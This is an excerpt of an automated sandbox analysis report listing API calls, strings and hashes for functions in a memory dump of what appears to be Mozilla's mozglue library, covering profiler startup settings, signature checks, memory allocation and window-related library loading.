Part of subcall function 6CA635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA635FD
Part of subcall function 6CA635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA6363F
Part of subcall function 6CA635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA6369F
Part of subcall function 6CA635A0: __aulldiv.LIBCMT ref: 6CA636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA6309F

Part of subcall function 6CA85B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA856EE,?,00000001), ref: 6CA85B85
Part of subcall function 6CA85B50: EnterCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85B90
Part of subcall function 6CA85B50: LeaveCriticalSection.KERNEL32(6CAEF688,?,?,?,6CA856EE,?,00000001), ref: 6CA85BD8
Part of subcall function 6CA85B50: GetTickCount64.KERNEL32 ref: 6CA85BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA630BE

Part of subcall function 6CA630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA63127
Part of subcall function 6CA630F0: __aulldiv.LIBCMT ref: 6CA63140

Part of subcall function 6CA9AB2A: __onexit.LIBCMT ref: 6CA9AB30

Strings

D($/, xrefs: 6CA6306A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: D($/
API String ID: 4291168024-324952136
Opcode ID: b79cb101c36b8a197d1dee50a0add366d2fcd26a98b94a140f52ff4ca2ee75a2
Instruction ID: 60da254845b9ac99213f61e0fa9a42f7442cc646b7da1ff88a05b4a8badca038
Opcode Fuzzy Hash: b79cb101c36b8a197d1dee50a0add366d2fcd26a98b94a140f52ff4ca2ee75a2
Instruction Fuzzy Hash: 34F0D612E2178597CB54DF34AD411EA7370EFAF214F11971EE88557511FB2062DD93C2

Non-executed Functions

Function 6CA75440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA75492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA754BE
__Init_thread_footer.LIBCMT ref: 6CA754DB

Part of subcall function 6CA9AB3F: EnterCriticalSection.KERNEL32(6CAEE370,?,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB49
Part of subcall function 6CA9AB3F: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA63527,6CAEF6CC,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9AB7C

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA75516
GetCurrentThreadId.KERNEL32 ref: 6CA7556A
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA75577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA75585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA75590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA755E6
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CA75606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA75616

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA7563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA75646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA7567C
free.MOZGLUE(?), ref: 6CA756AE

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA756E8
GetCurrentThreadId.KERNEL32 ref: 6CA75707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA7570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA75729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA7574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA7576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA75796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA757CA

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CA755E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA754B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA75AC9
[I %d/%d] profiler_init, xrefs: 6CA7564E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA75717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA75791
GeckoMain, xrefs: 6CA75554, 6CA755D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA75B38
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA754A3
D($/, xrefs: 6CA74C0F, 6CA7544F
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA75D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA75749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA756E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA7548D
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA75BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA7584E
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA757AE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA75766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA75724
MOZ_BASE_PROFILER_HELP, xrefs: 6CA75511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA75D1C
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA757C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA75D2B
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA75D24
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA75CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA75C56

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$D($/
API String ID: 3686969729-1138609460
Opcode ID: 75bf50c1f55f43dd1a352270cb409bd448446f985cfe3ab7148e7f9fef71e299
Instruction ID: 2117c660f514c431af565ce984ca757124e4c3c39b6d80ebdcd8032f7f7b7885
Opcode Fuzzy Hash: 75bf50c1f55f43dd1a352270cb409bd448446f985cfe3ab7148e7f9fef71e299
Instruction Fuzzy Hash: 9F2238799043419FE7109F74994836A7BB5FF4A30CF088A29E94687B41E731C4CADBB2

Function 6CA76C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA76CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA76D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA76D26

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA76D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA76D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA76D73
free.MOZGLUE(00000000), ref: 6CA76D80
CertGetNameStringW.CRYPT32 ref: 6CA76DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA76DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA76DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA76DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA76E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA76E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA76E34
CreateFileW.KERNEL32 ref: 6CA76EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA76F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA76F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA7709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA77103
free.MOZGLUE(00000000), ref: 6CA77153
CloseHandle.KERNEL32(?), ref: 6CA77176
__Init_thread_footer.LIBCMT ref: 6CA77209
__Init_thread_footer.LIBCMT ref: 6CA7723A
__Init_thread_footer.LIBCMT ref: 6CA7726B
__Init_thread_footer.LIBCMT ref: 6CA7729C
__Init_thread_footer.LIBCMT ref: 6CA772DC
__Init_thread_footer.LIBCMT ref: 6CA7730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA773C2
VerSetConditionMask.NTDLL ref: 6CA773F3
VerSetConditionMask.NTDLL ref: 6CA773FF
VerSetConditionMask.NTDLL ref: 6CA77406
VerSetConditionMask.NTDLL ref: 6CA7740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA7741A
moz_xmalloc.MOZGLUE(?), ref: 6CA7755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA77568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA77585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA77598
free.MOZGLUE(00000000), ref: 6CA775AC

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

Strings

SHA256, xrefs: 6CA76EC0
wintrust.dll, xrefs: 6CA772CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CA772C8
(, xrefs: 6CA7768A
D($/, xrefs: 6CA76C8F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll$D($/
API String ID: 3256780453-100476962
Opcode ID: 43eafba2f6d470ad39790568666b4d784b26e70d0230694911f61ef04d9a6348
Instruction ID: a90b010baf80108a5fb20fadabb873e599ad52468120568b2f8e0a11cfd1359c
Opcode Fuzzy Hash: 43eafba2f6d470ad39790568666b4d784b26e70d0230694911f61ef04d9a6348
Instruction Fuzzy Hash: 5152F475A003159FEB26DF24CC88BAA77B9FB49708F148199E509D7640DB30AEC5CFA1

Function 6CA96FF0 Relevance: 90.8, APIs: 39, Strings: 11, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA97019
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA97061
EnterCriticalSection.KERNEL32(?), ref: 6CA971A4
LeaveCriticalSection.KERNEL32(?), ref: 6CA9721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9723E
EnterCriticalSection.KERNEL32(?), ref: 6CA9726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CA972B2
LeaveCriticalSection.KERNEL32(?), ref: 6CA9733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CA973E8
LeaveCriticalSection.KERNEL32(?), ref: 6CA9961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA99622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA99642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA9964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA996CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA996DB
AcquireSRWLockExclusive.KERNEL32(6CAEE804), ref: 6CA99747
GetSystemInfo.KERNEL32(?), ref: 6CA99792
__Init_thread_footer.LIBCMT ref: 6CA997A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CAEE810,00000040), ref: 6CA997CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE7B8,00001388), ref: 6CA99838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE744,00001388), ref: 6CA9984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE784,00001388), ref: 6CA99874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE7DC,00001388), ref: 6CA99895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA999BD
MALLOC_OPTIONS, xrefs: 6CA997CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA99993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA99933, 6CA99A33, 6CA99A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA99BF4
<jemalloc>, xrefs: 6CA99B33, 6CA99BE3
D($/, xrefs: 6CA96FFC
MOZ_CRASH(), xrefs: 6CA99B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA999D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA999A8
Compile-time page size does not divide the runtime one., xrefs: 6CA99B38

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 4047164644-656141624
Opcode ID: 11c1a0eb53b1ad8b0919be13783b1163efb8febeb0c1027d750c7a567622dafc
Instruction ID: 0c77601b58743d3967d843c820d63dd38325a5d238744205940a5367ff47fc7b
Opcode Fuzzy Hash: 11c1a0eb53b1ad8b0919be13783b1163efb8febeb0c1027d750c7a567622dafc
Instruction Fuzzy Hash: B9539071A257028FD704CF29C582615FBE1BF89328F29C66DE869CB791D731E881CB91

Function 6CAA0DD0 Relevance: 85.6, APIs: 36, Strings: 11, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAA0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAA0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAA0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAA1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAA10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAA117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAA1C39
EnterCriticalSection.KERNEL32(6CAEE744), ref: 6CAA3391
LeaveCriticalSection.KERNEL32(6CAEE744), ref: 6CAA33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAA3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA3437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAA37BD
MALLOC_OPTIONS, xrefs: 6CAA35FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAA3793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAA3559, 6CAA382D, 6CAA3848
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAA3A02
<jemalloc>, xrefs: 6CAA3941, 6CAA39F1
D($/, xrefs: 6CAA0DE2
MOZ_CRASH(), xrefs: 6CAA3950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAA37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAA37A8
Compile-time page size does not divide the runtime one., xrefs: 6CAA3946

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 3040639385-656141624
Opcode ID: 121a295fa2ca9465ea743a1ac6cecca2a56e8117694b7ddb04fbe1478bfe4b2a
Instruction ID: a364f4de949655735bf1b8c8e7f7d7e963a2cadfad92ec898e6613672a8e674b
Opcode Fuzzy Hash: 121a295fa2ca9465ea743a1ac6cecca2a56e8117694b7ddb04fbe1478bfe4b2a
Instruction Fuzzy Hash: FD538E71A067029FD304CF69C540615FBE1BF89328F29C76DE8A99B791D771E882CB81

Function 6CAC55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA9E1A5), ref: 6CAC5606
LoadLibraryW.KERNEL32(gdi32,?,6CA9E1A5), ref: 6CAC560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAC5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAC563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAC566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAC567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAC5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAC56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAC56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAC56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAC56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAC5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAC572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAC5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAC5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAC577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAC5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAC57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAC57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAC57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAC57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAC57FF

Strings

MonitorFromWindow, xrefs: 6CAC578D
DeleteObject, xrefs: 6CAC57F9
CreateSolidBrush, xrefs: 6CAC57E4
GetWindowDC, xrefs: 6CAC5710
RegisterClassW, xrefs: 6CAC56AC
AreDpiAwarenessContextsEqual, xrefs: 6CAC5637
LoadCursorW, xrefs: 6CAC5774
LoadIconW, xrefs: 6CAC575B
StretchDIBits, xrefs: 6CAC57CC
EnableNonClientDpiScaling, xrefs: 6CAC5666
ShowWindow, xrefs: 6CAC56DE
GetMonitorInfoW, xrefs: 6CAC57A2
CreateWindowExW, xrefs: 6CAC56C5
GetDpiForWindow, xrefs: 6CAC5690
SetWindowLongPtrW, xrefs: 6CAC57B7
gdi32, xrefs: 6CAC560A
user32, xrefs: 6CAC5601
SetWindowPos, xrefs: 6CAC56F7
ReleaseDC, xrefs: 6CAC5742
FillRect, xrefs: 6CAC5729
GetSystemMetricsForDpi, xrefs: 6CAC5677
GetThreadDpiAwarenessContext, xrefs: 6CAC562D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 6e2fd23df6807b5340760bad4a0c7444207bb2bc4876e8eb1428c8c1c61ef0ba
Instruction ID: b4bee85b2ac6ba5043825f8c175e81b04d3668664a4b2355984c3de046fe5a84
Opcode Fuzzy Hash: 6e2fd23df6807b5340760bad4a0c7444207bb2bc4876e8eb1428c8c1c61ef0ba
Instruction Fuzzy Hash: 60514E70B017039FDF445F35AD4C9273AB8AB0E244B148529B921E2A12EB70C882FFF5

Function 6CAC34A0 Relevance: 62.7, APIs: 33, Strings: 2, Instructions: 1467COMMON

Download Yara Rule

APIs

